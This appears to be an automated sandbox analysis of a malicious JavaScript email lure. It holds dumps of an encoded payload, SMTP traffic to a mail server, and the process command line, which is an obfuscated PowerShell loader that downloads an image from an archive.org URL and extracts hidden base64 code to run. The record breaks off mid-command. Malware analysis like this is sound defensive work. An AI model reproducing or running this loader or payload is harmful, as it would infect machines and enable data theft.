                                                      Data Ascii: =AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                      2024-08-30 08:38:59 UTC16384INData Raw: 54 46 48 41 41 30 48 41 59 42 67 4f 41 41 44 41 37 42 41 65 41 41 44 41 67 41 67 4f 41 51 45 41 4a 64 42 41 41 6b 43 41 39 42 41 4d 41 73 48 41 6f 41 41 49 41 6b 44 41 67 41 67 62 41 45 47 41 6f 42 41 64 41 41 43 41 7a 42 77 63 41 55 47 41 73 42 41 49 41 4d 48 41 70 42 41 49 41 55 47 41 74 42 51 59 41 34 45 41 6e 42 67 62 41 6b 47 41 79 42 41 64 41 4d 46 41 67 41 51 5a 41 67 47 41 30 42 41 49 41 59 47 41 76 42 41 49 41 55 47 41 36 42 51 61 41 4d 31 56 41 41 51 4b 41 30 48 41 78 41 77 65 41 67 43 41 67 41 51 66 41 41 44 41 37 42 41 49 41 38 47 41 30 42 41 49 41 77 47 41 68 42 51 64 41 45 48 41 6c 42 41 49 41 51 48 41 76 42 67 62 41 41 43 41 7a 42 51 61 41 41 43 41 6c 42 67 65 41 6b 47 41 54 42 51 5a 41 30 47 41 68 42 67 54 41 41 43 41 6c 42 41 61 41 51 48
                                                      Data Ascii: TFHAA0HAYBgOAADA7BAeAADAgAgOAQEAJdBAAkCA9BAMAsHAoAAIAkDAgAgbAEGAoBAdAACAzBwcAUGAsBAIAMHApBAIAUGAtBQYA4EAnBgbAkGAyBAdAMFAgAQZAgGA0BAIAYGAvBAIAUGA6BQaAM1VAAQKA0HAxAweAgCAgAQfAADA7BAIA8GA0BAIAwGAhBQdAEHAlBAIAQHAvBgbAACAzBQaAACAlBgeAkGATBQZA0GAhBgTAACAlBAaAQH
                                                      2024-08-30 08:38:59 UTC16384INData Raw: 54 42 41 62 41 45 47 41 31 42 41 64 41 49 48 41 70 42 67 56 41 77 31 64 41 41 41 64 41 67 48 41 30 42 67 4c 41 51 48 41 7a 42 51 61 41 77 47 41 77 42 41 64 41 59 45 41 63 42 51 5a 41 67 48 41 31 42 41 62 41 55 47 41 45 42 41 49 41 49 48 41 6c 42 41 5a 41 34 47 41 68 42 51 62 41 30 47 41 76 42 77 51 41 41 43 41 51 42 41 56 41 59 45 41 63 42 51 4b 41 59 44 41 34 41 41 65 41 67 43 41 67 41 77 63 41 55 47 41 73 42 51 61 41 59 45 41 67 41 51 62 41 45 47 41 79 42 77 5a 41 38 47 41 79 42 41 55 41 77 46 41 6c 42 67 63 41 38 47 41 30 42 77 55 41 77 47 41 68 42 51 64 41 51 48 41 79 42 51 61 41 59 46 41 63 56 49 67 41 41 51 50 41 51 47 41 79 42 77 62 41 63 48 41 7a 42 77 63 41 45 47 41 51 42 77 4f 56 41 41 41 30 42 41 65 41 51 48 41 75 41 41 64 41 4d 48 41 70 42 41
                                                      Data Ascii: TBAbAEGA1BAdAIHApBgVAw1dAAAdAgHA0BgLAQHAzBQaAwGAwBAdAYEAcBQZAgHA1BAbAUGAEBAIAIHAlBAZA4GAhBQbA0GAvBwQAACAQBAVAYEAcBQKAYDA4AAeAgCAgAwcAUGAsBQaAYEAgAQbAEGAyBwZA8GAyBAUAwFAlBgcA8GA0BwUAwGAhBQdAQHAyBQaAYFAcVIgAAQPAQGAyBwbAcHAzBwcAEGAQBwOVAAA0BAeAQHAuAAdAMHApBA
                                                      2024-08-30 08:38:59 UTC16384INData Raw: 31 46 58 52 41 4d 48 62 68 6c 47 64 75 56 47 5a 6c 4a 33 51 30 78 57 64 68 5a 57 5a 45 56 32 63 56 39 46 64 6c 4e 48 41 7a 78 57 59 70 52 6e 62 6c 52 57 5a 79 4e 45 64 73 56 58 59 6d 56 47 52 66 52 58 5a 6e 42 77 63 73 46 57 61 30 35 57 5a 6b 56 6d 63 44 39 46 64 6c 4e 48 41 7a 78 57 59 70 52 6e 62 6c 52 57 5a 79 4e 55 53 41 4d 33 61 7a 46 47 56 66 52 58 5a 7a 42 77 63 72 4e 58 59 55 39 46 64 6c 64 47 41 7a 74 32 59 70 52 31 58 30 56 32 5a 41 4d 33 5a 79 46 45 64 75 56 6d 64 46 52 57 5a 7a 42 58 59 73 56 45 41 7a 64 57 59 73 5a 47 41 7a 64 57 59 73 5a 30 64 6b 42 77 63 6e 46 47 62 47 31 57 5a 30 4e 58 65 54 56 47 62 70 5a 47 41 7a 56 6d 64 70 4a 48 52 73 46 32 59 70 64 32 62 4d 52 58 5a 48 42 77 63 6c 56 48 62 68 5a 31 58 30 56 32 5a 41 4d 58 5a 30 6c 6e
                                                      Data Ascii: 1FXRAMHbhlGduVGZlJ3Q0xWdhZWZEV2cV9FdlNHAzxWYpRnblRWZyNEdsVXYmVGRfRXZnBwcsFWa05WZkVmcD9FdlNHAzxWYpRnblRWZyNUSAM3azFGVfRXZzBwcrNXYU9FdldGAzt2YpR1X0V2ZAM3ZyFEduVmdFRWZzBXYsVEAzdWYsZGAzdWYsZ0dkBwcnFGbG1WZ0NXeTVGbpZGAzVmdpJHRsF2Ypd2bMRXZHBwclVHbhZ1X0V2ZAMXZ0ln
                                                      2024-08-30 08:38:59 UTC16384INData Raw: 41 45 47 5a 73 42 51 59 51 5a 33 52 6d 74 45 57 41 45 57 54 72 52 54 4f 34 78 47 41 68 78 30 52 42 5a 7a 52 70 64 7a 53 43 42 51 59 47 5a 58 52 48 5a 45 57 33 42 51 59 42 5a 46 41 68 56 44 57 61 46 45 41 68 52 7a 56 41 45 32 4d 59 70 46 41 66 39 56 5a 31 78 57 59 32 42 67 57 70 74 47 41 61 64 57 64 33 63 44 61 32 42 67 57 6e 6c 46 62 41 6f 31 59 44 74 32 53 41 6f 56 59 32 77 47 64 36 74 47 65 49 42 67 57 59 6c 57 55 54 4e 30 5a 78 41 54 65 76 42 67 57 54 42 56 65 41 6f 46 52 58 56 45 4d 52 4a 31 62 35 55 44 41 61 4e 54 61 31 42 51 57 35 56 6c 53 4e 68 58 54 57 42 51 57 32 46 31 54 4c 68 58 55 51 64 54 55 41 6b 56 61 30 4a 46 41 5a 52 46 55 4e 56 30 58 55 5a 46 41 5a 42 31 63 41 6b 46 53 6f 5a 58 65 70 42 51 57 47 64 6d 64 41 6b 46 52 68 4a 57 65 4c 42 51
                                                      Data Ascii: AEGZsBQYQZ3RmtEWAEWTrRTO4xGAhx0RBZzRpdzSCBQYGZXRHZEW3BQYBZFAhVDWaFEAhRzVAE2MYpFAf9VZ1xWY2BgWptGAadWd3cDa2BgWnlFbAo1YDt2SAoVY2wGd6tGeIBgWYlWUTN0ZxATevBgWTBVeAoFRXVEMRJ1b5UDAaNTa1BQW5VlSNhXTWBQW2F1TLhXUQdTUAkVa0JFAZRFUNV0XUZFAZB1cAkFSoZXepBQWGdmdAkFRhJWeLBQ
                                                      2024-08-30 08:38:59 UTC16384INData Raw: 30 4b 67 4a 4f 31 51 41 38 75 41 64 52 5a 62 41 45 54 53 46 77 73 59 41 70 43 42 72 71 30 57 41 45 6a 78 77 4d 56 51 41 38 69 52 71 43 68 55 41 6b 75 41 64 4d 56 51 41 30 32 67 6d 67 77 66 41 73 43 67 45 43 78 57 41 73 4f 69 37 45 4a 6d 41 5a 52 51 74 4d 5a 6c 41 5a 42 67 45 43 78 57 41 6b 47 77 66 78 55 69 41 42 51 51 74 4d 78 55 41 63 47 68 50 31 6b 59 41 63 75 67 4a 59 30 56 41 63 43 67 45 43 78 57 41 63 4f 43 56 46 46 42 42 35 4e 69 54 58 67 48 41 70 50 79 52 68 41 4b 42 35 4e 43 51 69 4d 4d 42 35 4e 53 4f 44 38 4c 42 35 4e 69 4d 45 6f 50 42 35 74 67 4a 59 30 46 41 38 4f 69 49 46 70 4e 41 42 4e 79 47 4a 74 52 41 70 4b 77 6a 43 78 6d 42 42 57 67 59 52 70 46 41 42 52 51 74 4d 78 45 41 38 47 68 50 31 6b 49 41 38 43 67 45 43 78 47 41 38 4b 67 4e 6a 6f 6d
                                                      Data Ascii: 0KgJO1QA8uAdRZbAETSFwsYApCBrq0WAEjxwMVQA8iRqChUAkuAdMVQA02gmgwfAsCgECxWAsOi7EJmAZRQtMZlAZBgECxWAkGwfxUiABQQtMxUAcGhP1kYAcugJY0VAcCgECxWAcOCVFFBB5NiTXgHApPyRhAKB5NCQiMMB5NSOD8LB5NiMEoPB5tgJY0FA8OiIFpNABNyGJtRApKwjCxmBBWgYRpFABRQtMxEA8GhP1kIA8CgECxGA8KgNjom
                                                      2024-08-30 08:38:59 UTC16384INData Raw: 6d 4c 77 6a 33 59 4a 43 47 43 41 41 41 41 41 4b 45 41 67 35 43 59 7a 4e 47 6d 67 35 41 41 41 41 41 63 43 2f 41 59 4f 41 53 49 45 62 59 59 49 41 41 41 41 41 6e 6b 4f 41 6c 50 41 4d 4b 67 48 41 52 43 41 41 41 45 51 51 67 41 51 35 43 45 6f 46 6d 47 67 35 41 41 41 41 42 41 45 54 41 51 75 41 50 65 6a 6c 49 59 49 41 41 41 41 41 6e 41 4f 41 6b 4c 67 4e 33 59 59 43 6d 44 41 41 41 41 77 4a 59 44 41 35 41 49 68 51 73 68 68 68 41 41 41 41 41 63 53 78 41 4d 2b 41 70 34 6a 6d 41 45 4a 41 41 41 51 41 2f 41 43 41 68 4c 67 34 4b 38 4d 41 52 43 41 41 41 45 41 50 73 44 51 34 43 45 6f 46 6d 47 67 35 41 41 41 41 42 6b 44 37 41 41 75 41 50 65 6a 6c 49 59 49 41 41 41 41 41 6e 77 4c 41 67 4c 67 4e 33 59 59 43 6d 44 41 41 41 41 77 4a 30 43 41 34 41 49 68 51 73 68 68 68 41 41 41
                                                      Data Ascii: mLwj3YJCGCAAAAAKEAg5CYzNGmg5AAAAAcC/AYOASIEbYYIAAAAAnkOAlPAMKgHARCAAAEQQgAQ5CEoFmGg5AAAABAETAQuAPejlIYIAAAAAnAOAkLgN3YYCmDAAAAwJYDA5AIhQshhhAAAAAcSxAM+Ap4jmAEJAAAQA/ACAhLg4K8MARCAAAEAPsDQ4CEoFmGg5AAAABkD7AAuAPejlIYIAAAAAnwLAgLgN3YYCmDAAAAwJ0CA4AIhQshhhAAA
                                                      2024-08-30 08:38:59 UTC16384INData Raw: 41 49 67 58 7a 6c 6d 6a 41 45 41 44 2b 44 41 41 41 67 52 4f 42 34 50 41 41 41 77 41 67 41 41 43 4d 34 50 41 41 67 67 44 2b 44 41 41 41 6f 41 49 41 55 67 44 2b 72 41 41 41 73 2f 62 41 41 41 41 43 41 43 41 41 41 41 41 67 41 41 42 4d 34 50 41 41 41 41 49 35 45 67 2f 41 41 41 41 4a 41 43 41 49 77 67 2f 41 41 41 43 4f 34 50 41 41 41 41 44 67 6f 41 41 42 67 39 62 41 55 41 44 2b 62 41 41 43 77 48 4b 4b 41 41 41 70 38 47 41 44 77 67 2f 41 49 41 44 2b 44 41 41 41 51 53 4f 42 34 50 41 41 41 77 43 67 41 41 43 4d 34 50 41 41 67 67 44 2b 44 41 41 41 38 41 49 4b 41 51 41 59 2f 47 63 41 38 67 31 79 70 41 41 41 73 2f 62 5a 42 41 41 41 45 41 49 4b 41 41 41 71 38 47 41 41 77 67 2f 41 41 41 41 41 41 43 41 41 77 67 2f 41 49 41 44 2b 44 41 41 41 51 54 4f 42 34 50 41 41 41 67
                                                      Data Ascii: AIgXzlmjAEAD+DAAAgROB4PAAAwAgAACM4PAAggD+DAAAoAIAUgD+rAAAs/bAAAACACAAAAAgAABM4PAAAAI5Eg/AAAAJACAIwg/AAACO4PAAAADgoAABg9bAUAD+bAACwHKKAAAp8GADwg/AIAD+DAAAQSOB4PAAAwCgAACM4PAAggD+DAAA8AIKAQAY/GcA8g1ypAAAs/bZBAAAEAIKAAAq8GAAwg/AAAAAACAAwg/AIAD+DAAAQTOB4PAAAg
                                                      2024-08-30 08:38:59 UTC16384INData Raw: 35 45 67 2f 41 41 41 41 4f 41 43 41 4e 77 67 2f 41 41 51 44 4f 34 50 41 41 41 77 41 67 6f 43 41 41 41 67 43 35 45 67 2f 41 41 41 41 43 41 43 41 4e 77 67 2f 41 41 51 44 4f 34 50 41 41 41 77 45 67 6f 41 41 43 4d 79 62 77 42 67 41 70 4a 48 41 43 77 67 2f 41 41 41 41 58 6b 54 41 2b 44 41 41 41 49 42 49 41 30 41 44 2b 44 41 41 4e 34 67 2f 41 41 41 41 4b 41 69 43 41 49 41 4a 76 42 41 41 41 41 41 49 41 49 41 44 2b 44 41 41 41 63 52 4f 42 34 50 41 41 41 51 43 67 41 51 44 4d 34 50 41 41 30 67 44 2b 44 41 41 41 51 42 49 41 41 41 41 74 69 44 41 41 41 67 44 35 45 67 2f 41 41 41 41 54 41 43 41 4e 77 67 2f 41 41 51 44 4f 34 50 41 41 41 67 46 67 6f 41 41 43 4d 79 62 41 45 51 43 2b 44 67 41 4d 34 50 41 41 41 67 46 35 45 67 2f 41 41 41 41 56 41 43 41 4e 77 67 2f 41 41 51
                                                      Data Ascii: 5Eg/AAAAOACANwg/AAQDO4PAAAwAgoCAAAgC5Eg/AAAACACANwg/AAQDO4PAAAwEgoAACMybwBgApJHACwg/AAAAXkTA+DAAAIBIA0AD+DAAN4g/AAAAKAiCAIAJvBAAAAAIAIAD+DAAAcROB4PAAAQCgAQDM4PAA0gD+DAAAQBIAAAAtiDAAAgD5Eg/AAAATACANwg/AAQDO4PAAAgFgoAACMybAEQC+DgAM4PAAAgF5Eg/AAAAVACANwg/AAQ
                                                      2024-08-30 08:38:59 UTC16384INData Raw: 43 34 67 2f 41 41 41 41 47 41 43 41 42 34 67 2f 59 42 41 41 41 49 41 49 41 45 41 44 2b 44 41 41 41 63 52 4f 42 34 50 41 41 41 51 42 67 41 67 41 4d 34 50 41 41 41 51 41 45 68 44 41 43 34 67 2f 41 41 41 41 41 41 53 45 41 41 51 4a 41 41 51 41 63 42 51 42 77 4d 52 41 41 41 51 41 47 49 41 48 75 45 67 37 41 41 41 41 41 41 52 41 41 41 41 41 71 41 67 42 4d 34 2f 2f 2f 33 76 6f 34 41 41 41 41 55 41 4f 41 41 41 41 46 6b 54 41 2b 44 41 41 41 73 41 49 41 63 41 44 2b 44 41 41 48 34 67 2f 41 41 41 41 42 41 43 41 41 41 41 41 4b 6b 54 41 2b 44 41 41 41 41 41 49 41 63 41 44 2b 44 41 41 48 34 67 2f 41 41 41 41 4a 41 69 4b 42 41 41 41 46 31 49 41 41 41 41 41 67 41 41 41 41 41 51 33 6d 41 41 41 41 41 56 33 41 59 67 44 2b 44 67 41 4d 34 50 41 43 34 67 2f 4b 41 41 41 6c 2f 57
                                                      Data Ascii: C4g/AAAAGACAB4g/YBAAAIAIAEAD+DAAAcROB4PAAAQBgAgAM4PAAAQAEhDAC4g/AAAAAASEAAQJAAQAcBQBwMRAAAQAGIAHuEg7AAAAAARAAAAAqAgBM4///3vo4AAAAUAOAAAAFkTA+DAAAsAIAcAD+DAAH4g/AAAABACAAAAAKkTA+DAAAAAIAcAD+DAAH4g/AAAAJAiKBAAAF1IAAAAAgAAAAAQ3mAAAAAV3AYgD+DgAM4PAC4g/KAAAl/W


                                                      SMTP Packets

                                                      TimestampSource PortDest PortSource IPDest IPCommands
                                                      Aug 30, 2024 10:39:02.930617094 CEST58749708185.230.212.164192.168.2.8220 mx.zoho.eu SMTP Server ready August 30, 2024 10:39:02 AM CEST
                                                      Aug 30, 2024 10:39:02.931480885 CEST49708587192.168.2.8185.230.212.164EHLO 114127
                                                      Aug 30, 2024 10:39:03.246649027 CEST58749708185.230.212.164192.168.2.8250-mx.zoho.eu Hello 114127 (8.46.123.33 (8.46.123.33))
                                                      250-STARTTLS
                                                      250 SIZE 53477376
                                                      Aug 30, 2024 10:39:03.246896029 CEST49708587192.168.2.8185.230.212.164STARTTLS
                                                      Aug 30, 2024 10:39:03.425973892 CEST58749708185.230.212.164192.168.2.8220 Ready to start TLS.
                                                      Aug 30, 2024 10:39:06.299050093 CEST58749709185.230.212.164192.168.2.8220 mx.zoho.eu SMTP Server ready August 30, 2024 10:39:06 AM CEST
                                                      Aug 30, 2024 10:39:06.299216032 CEST49709587192.168.2.8185.230.212.164EHLO 114127
                                                      Aug 30, 2024 10:39:06.475491047 CEST58749709185.230.212.164192.168.2.8250-mx.zoho.eu Hello 114127 (8.46.123.33 (8.46.123.33))
                                                      Aug 30, 2024 10:39:06.603351116 CEST58749709185.230.212.164192.168.2.8250-STARTTLS
                                                      250 SIZE 53477376
                                                      Aug 30, 2024 10:39:06.603543997 CEST49709587192.168.2.8185.230.212.164STARTTLS
                                                      Aug 30, 2024 10:39:06.779154062 CEST58749709185.230.212.164192.168.2.8220 Ready to start TLS.

                                                      Statistics

                                                      CPU Usage

                                                      Click to jump to process

                                                      Memory Usage

                                                      Click to jump to process

                                                      High Level Behavior Distribution

                                                      Click to dive into process behavior distribution

                                                      Behavior

                                                      Click to jump to process

                                                      System Behavior

                                                      General

                                                      Target ID:0
                                                      Start time:04:38:50
                                                      Start date:30/08/2024
                                                      Path:C:\Windows\System32\wscript.exe
                                                      Wow64 process (32bit):false
                                                      Commandline:C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\INQUIRY#46789_MAT24_NEW_PROJECT_SAMPLE.js"
                                                      Imagebase:0x7ff74cc70000
                                                      File size:170'496 bytes
                                                      MD5 hash:A47CBE969EA935BDD3AB568BB126BC80
                                                      Has elevated privileges:false
                                                      Has administrator privileges:false
                                                      Programmed in:C, C++ or other language
                                                      Reputation:high
                                                      Has exited:true

                                                      General

                                                      Target ID:2
                                                      Start time:04:38:51
                                                      Start date:30/08/2024
                                                      Path:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                      Wow64 process (32bit):false
                                                      Commandline:"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'J? ? ? ? ?Bp? ? ? ? ?G0? ? ? ? ?YQBn? ? ? ? ?GU? ? ? ? ?VQBy? ? ? ? ?Gw? ? ? ? ?I? ? ? ? ?? ? ? ? ?9? ? ? ? ?C? ? ? ? ?? ? ? ? ?JwBo? ? ? ? ?HQ? ? ? ? ?d? ? ? ? ?Bw? ? ? ? ?HM? ? ? ? ?Og? ? ? ? ?v? ? ? ? ?C8? ? ? ? ?aQBh? ? ? ? ?DY? ? ? ? ?M? ? ? ? ?? ? ? ? ?x? ? ? ? ?DY? ? ? ? ?M? ? ? ? ?? ? ? ? ?2? ? ? ? ?C4? ? ? ? ?dQBz? ? ? ? ?C4? ? ? ? ?YQBy? ? ? ? ?GM? ? ? ? ?a? ? ? ? ?Bp? ? ? ? ?HY? ? ? ? ?ZQ? ? ? ? ?u? ? ? ? ?G8? ? ? ? ?cgBn? ? ? ? ?C8? ? ? ? ?MQ? ? ? ? ?w? ? ? ? ?C8? ? ? ? ?aQB0? ? ? ? ?GU? ? ? ? ?bQBz? ? ? ? ?C8? ? ? ? ?Z? ? ? ? ?Bl? ? ? ? ?GE? ? ? ? ?d? ? ? ? ?Bo? ? ? ? ?G4? ? ? ? ?bwB0? ? ? ? ?GU? ? ? ? ?Xw? ? ? ? ?y? ? ? ? ?D? ? ? ? ?? ? ? ? ?Mg? ? ? ? ?0? ? ? ? ?D? ? ? ? ?? ? ? ? ?Nw? ? ? ? ?v? ? ? ? ?GQ? ? ? ? ?ZQBh? ? ? ? ?HQ? ? ? ? ?a? ? ? ? ?Bu? ? ? ? ?G8? ? ? ? ?d? ? ? ? ?Bl? ? ? ? ?C4? ? ? ? ?agBw? ? ? ? ?Gc? ? ? ? ?Jw? ? ? ? ?7? ? ? ? ?CQ? ? ? ? ?dwBl? ? ? ? ?GI? ? ? ? ?QwBs? ? ? ? ?Gk? ? ? ? ?ZQBu? ? ? ? ?HQ? ? ? ? ?I? ? ? ? ?? ? ? ? ?9? ? ? ? ?C? ? ? ? ?? ? ? ? ?TgBl? ? ? ? ?Hc? ? ? ? ?LQBP? ? ? ? ?GI? ? ? ? ?agBl? ? ? ? ?GM? ? ? ? ?d? ? ? ? ?? ? ? ? ?g? ? ? ? ?FM? ? ? ? ?eQBz? ? ? ? ?HQ? ? ? ? ?ZQBt? ? ? ? ?C4? ? ? ? ?TgBl? ? ? ? ?HQ? ? ? ? ?LgBX? ? ? ? ?GU? ? ? ? ?YgBD? ? ? ? ?Gw? ? ? ? ?aQBl? ? ? ? ?G4? ? ? ? ?d? ? ? ? ?? ? ? ? ?7? ? ? ? ?CQ? ? ? ? ?aQBt? ? ? ? ?GE? ? ? ? ?ZwBl? ? ? ? ?EI? ? ? ? ?eQB0? ? ? ? ?GU? ? ? ? ?cw? ? ? ? ?g? ? ? ? ?D0? ? ? ? ?I? ? ? ? ?? ? ? ? ?k? ? ? ? ?Hc? ? ? ? ?ZQBi? ? ? ? ?EM? ? ? ? ?b? ? ? ? ?Bp? ? ? ? ?GU? ? ? ? ?bgB0? ? ? ? ?C4? ? ? ? ?R? ? ? ? ?Bv? ? ? ? ?Hc? ? ? ? ?bgBs? ? ? ? ?G8? ? ? ? ?YQBk? ? ? ? ?EQ? ? ? ? ?YQB0? ? ? ? ?GE? ? ? ? ?K? ? ? ? ?? ? ? ? ?k? ? ? ? ?Gk? ? ? ? ?bQBh? ? ? ? ?Gc? ? ? ? ?ZQBV? ? ? ? ?HI? ? ? ? ?b? ? ? ? ?? ? ? ? ?p? ? ? ? ?Ds? ? ? ? ?J? ? ? ? ?Bp? ? ? ? ?G0? ? ? ? ?YQBn? ? ? ? ?GU? ? ? ? ?V? ? ? ? ?Bl? ? ? ? ?Hg? ? ? ? ?d? ? ? ? ?? ? ? ? ?g? ? ? ? ?D0? ? ? ? ?I? ? ? ? ?Bb? ? ? ? ?FM? ? ? ? ?eQBz? ? ? ? ?HQ? ? ? ? ?ZQBt? ? ? ? ?C4? ? ? ? ?V? ? ? ? ?Bl? ? ? ? ?Hg? ? ? ? ?d? ? ? ? ?? ? ? ? ?u? ? ? ? ?EU? ? ? ? ?bgBj? ? ? ? ?G8? ? ? ? ?Z? ? ? ? ?Bp? ? ? ? ?G4? ? ? ? ?ZwBd? ? ? ? ?Do? ? ? ? ?OgBV? ? ? ? ?FQ? ? ? ? ?Rg? ? ? ? ?4? ? ? ? ?C4? ? ? ? ?RwBl? ? ? ? ?HQ? ? ? ? ?UwB0? ? ? ? ?HI? ? ? ? ?aQBu? ? ? ? ?Gc? ? ? ? ?K? ? ? ? ?? ? ? ? ?k? ? ? ? ?Gk? ? ? ? ?bQBh? ? ? ? ?Gc? ? ? ? ?ZQBC? ? ? ? ?Hk? ? ? ? ?d? ? ? ? ?Bl? ? ? ? ?HM? ? ? ? ?KQ? ? ? ? ?7? ? ? ? ?CQ? ? ? ? ?cwB0? ? ? ? ?GE? ? ? ? ?cgB0? ? ? ? ?EY? ? ? ? ?b? ? ? ? ?Bh? ? ? ? ?Gc? ? ? ? ?I? ? ? ? ?? ? ? ? ?9? ? ? ? ?C? ? ? ? ?? ? ? ? ?Jw? ? ? ? ?8? ? ? ? ?Dw? ? ? ? ?QgBB? ? ? ? ?FM? ? ? ? ?RQ? ? ? ? ?2? ? ? ? ?DQ? ? ? ? ?XwBT? ? ? ? ?FQ? ? ? ? ?QQBS? ? ? ? ?FQ? ? ? ? ?Pg? ? ? ? ?+? ? ? ? ?Cc? ? ? ? ?Ow? ? ? ? ?k? ? ? ? ?GU? ? ? ? ?bgBk? ? ? ? ?EY? ? ? ? ?b? ? ? ? ?Bh? ? ? ? ?Gc? ? ? ? ?I? ? ? ? ?? ? ? ? ?9? ? ? ? ?C? ? ? ? ?? ? ? ? ?Jw? ? ? ? ?8? ? ? ? ?Dw? ? ? ? ?QgBB? ? ? ? ?FM? ? ? ? ?RQ? ? ? ? ?2? ? ? ? ?DQ? ? ? ? ?XwBF? ? ? ? ?E4? ? ? ? ?R? ? ? ? ?? ? ? ? ?+? ? ? ? ?D4? ? ? ? ?Jw? ? ? ? ?7? ? ? ? ?CQ? ? ? ? ?cwB0? ? ? ? ?GE? ? ? ? ?cgB0? ? ? ? ?Ek? ? ? ? ?bgBk? ? ? ? ?GU? ? ? ? ?e? ? ? ? ?? ? ? ? ?g? ? ? ? ?D0? ? ? ? ?I? ? ? ? ?? ? ? ? ?k? ? ? ? ?Gk? ? ? ? ?bQBh? ? ? ? ?Gc? ? ? ? ?ZQBU? ? ? ? ?GU? ? ? ? ?e? ? ? ? ?B0? ? ? ? ?C4? ? ? ? ?SQBu? ? ? ? ?GQ? ? ? ? ?ZQB4? ? ? ? ?E8? ? ? ? ?Zg? ? ? ? ?o? ? ? ? ?CQ? ? ? ? ?cwB0? ? ? ? ?GE? ? ? ? ?cgB0? ? ? ? ?EY? ? ? ? ?b? ? ? ? ?Bh? ? ? ? ?Gc? ? ? ? ?KQ? ? ? ? ?7? ? ? ? ?CQ? ? ? ? ?ZQBu? ? ? ? ?GQ? ? ? ? ?SQBu? ? ? ? ?GQ? ? ? ? ?ZQB4? ? ? ? ?C? ? ? ? ?? ? ? ? ?PQ? ? ? ? ?g? ? ? ? ?CQ? ? ? ? ?aQBt? ? ? ? ?GE? ? ? ? ?ZwBl? ? ? ? ?FQ? ? ? ? ?ZQB4? ? ? ? ?HQ? ? ? ? ?LgBJ? ? ? ? ?G4? ? ? ? ?Z? ? ? ? ?Bl? ? ? ? ?Hg? ? ? ? ?TwBm? ? ? ? ?Cg? ? ? ? ?J? ? ? ? ?Bl? ? ? ? ?G4? ? ? ? ?Z? ? ? ? ?BG? ? ? ? ?Gw? ? ? ? ?YQBn? ? ? ? ?Ck? ? ? ? ?Ow? ? ? ? ?k? ? ? ? ?HM? ? ? ? ?d? ? ? ? ?Bh? ? ? ? ?HI? ? ? ? ?d? ? ? ? ?BJ? ? ? ? ?G4? ? ? ? ?Z? ? ? ? ?Bl? ? ? ? ?Hg? ? ? ? ?I? ? ? ? ?? ? ? ? ?t? ? ? ? ?Gc? ? ? ? ?ZQ? ? ? ? ?g? ? ? ? ?D? ? ? ? ?? ? ? ? ?I? ? ? ? ?? ? ? ? ?t? ? ? ? ?GE? ? ? ? ?bgBk? ? ? ? ?C? ? ? ? ?? ? ? ? ?J? ? ? ? ?Bl? ? ? ? ?G4? ? ? ? ?Z? ? ? ? ?BJ? ? ? ? ?G4? ? ? ? ?Z? ? ? ? ?Bl? ? ? ? ?Hg? ? ? ? ?I? ? ? ? ?? ? ? ? ?t? ? ? ? ?Gc? ? ? ? ?d? ? ? ? ?? ? ? ? ?g? ? ? ? ?CQ? ? ? ? ?cwB0? ? ? ? ?GE? ? ? ? ?cgB0? ? ? ? ?Ek? ? ? ? ?bgBk? ? ? ? ?GU? ? ? ? ?e? ? ? ? ?? ? ? ? ?7? ? ? ? ?CQ? ? ? ? ?cwB0? ? ? ? ?GE? ? ? ? ?cgB0? ? ? ? ?Ek? ? ? ? ?bgBk? ? ? ? ?GU? ? ? ? ?e? ? ? ? ?? ? ? ? ?g? ? ? ? ?Cs? ? ? ? ?PQ? ? ? ? ?g? ? ? ? ?CQ? ? ? ? ?cwB0? ? ? ? ?GE? ? ? ? ?cgB0? ? ? ? ?EY? ? ? ? ?b? ? ? ? ?Bh? ? ? ? ?Gc? ? ? ? ?LgBM? ? ? ? ?GU? ? ? ? ?bgBn? ? ? ? ?HQ? ? ? ? ?a? ? ? ? ?? ? ? ? ?7? ? ? ? ?CQ? ? ? ? ?YgBh? ? ? ? ?HM? ? ? ? ?ZQ? ? ? ? ?2? ? ? ? ?DQ? ? ? ? ?T? ? ? ? ?Bl? ? ? ? ?G4? ? ? ? ?ZwB0? ? ? ? ?Gg? ? ? ? ?I? ? ? ? ?? ? ? ? ?9? ? ? ? ?C? ? ? ? ?? ? ? ? ?J? ? ? ? ?Bl? ? ? ? ?G4? ? ? ? ?Z? ? ? ? ?BJ? ? ? ? ?G4? ? ? ? ?Z? ? ? ? ?Bl? ? ? ? ?Hg? ? ? ? ?I? ? ? ? ?? ? ? ? ?t? ? ? ? ?C? ? ? ? ?? ? ? ? ?J? ? ? ? ?Bz? ? ? ? ?HQ? ? ? ? ?YQBy? ? ? ? ?HQ? ? ? ? ?SQBu? ? ? ? ?GQ? ? ? ? ?ZQB4? ? ? ? ?Ds? ? ? ? ?J? ? ? ? ?Bi? ? ? ? ?GE? ? ? ? ?cwBl? ? ? ? ?DY? ? ? ? ?N? ? ? ? ?BD? ? ? ? ?G8? ? ? ? ?bQBt? ? ? ? ?GE? ? ? ? ?bgBk? ? ? ? ?C? ? ? ? ?? ? ? ? ?PQ? ? ? ? ?g? ? ? ? ?CQ? ? ? ? ?aQBt? ? ? ? ?GE? ? ? ? ?ZwBl? ? ? ? ?FQ? ? ? ? ?ZQB4? ? ? ? ?HQ? ? ? ? ?LgBT? ? ? ? ?HU? ? ? ? ?YgBz? ? ? ? ?HQ? ? ? ? ?cgBp? ? ? ? ?G4? ? ? ? ?Zw? ? ? ? ?o? ? ? ? ?CQ? ? ? ? ?cwB0? ? ? ? ?GE? ? ? ? ?cgB0? ? ? ? ?Ek? ? ? ? ?bgBk? ? ? ? ?GU? ? ? ? ?e? ? ? ? ?? ? ? ? ?s? ? ? ? ?C? ? ? ? ?? ? ? ? ?J? ? ? ? ?Bi? ? ? ? ?GE? ? ? ? ?cwBl? ? ? ? ?DY? ? ? ? ?N? ? ? ? ?BM? ? ? ? ?GU? ? ? ? ?bgBn? ? ? ? ?HQ? ? ? ? ?a? ? ? ? ?? ? ? ? ?p? ? ? 